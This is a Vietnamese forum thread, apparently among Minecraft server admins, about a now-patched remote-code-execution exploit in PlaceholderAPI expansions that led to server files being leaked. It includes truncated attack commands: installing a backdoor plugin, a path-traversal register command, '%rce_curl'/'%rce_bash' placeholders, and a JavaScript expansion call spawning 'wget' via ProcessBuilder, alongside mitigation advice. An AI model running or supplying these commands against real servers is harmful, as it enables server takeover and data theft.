Nội dung mới nhất bởi jordu

ảnh trên là của isnow (retired)

vậy là ko phải do essentials hay luckperm đâu nha yên tâm dùng tiếp thôi

đây cũng chính là cách mà aemine đã bị pwned

bonus: nếu server bạn sử dụng plugin plugmanX hoặc plugmanager,commandpanel thì hãy vào config của nó và tắt cái download đi vì nó cho phép download backdoor plugin /cpi lmfao.jar/papi register ../../CommandPanels/panels/lmfao.jar.yml /papi parse me %rce_curl_-O_/papi parse me %rce_bash_raw%...

firewall xin han hanh tai tro

uoc dc chit vo cua hung a zet

rce exploit bi li

uk

hiện tại thì author đã patch = cách không cho cài thông qua minecraft mà phải tải expasion + có config không cho dùng rồi

m cứ tưởng tượng nó tìm đc một cái port không có bảo mật xem?

còn một số server khác nhưng t không tiện nhắc tên v:

một phút mặc niệm

chắc giờ đỡ chứ từ mấy hôm trc thì hơn chục server bị leak file rồi :/

cách thực hiện cái exploit này 1: Griefer sẽ cài expansion này lên nạn nhân [/papi ecloud download javascript] lệnh cho các cháu không biết dùng placeholderapi 2: Nó sẽ sử dụng lệnh /jsexpansion parse me new java.lang.ProcessBuilder("wget", "").start(); [trong cái pastebin có thể là một...

hiện tại thì bị patch rồi nên quẩy tiếp đi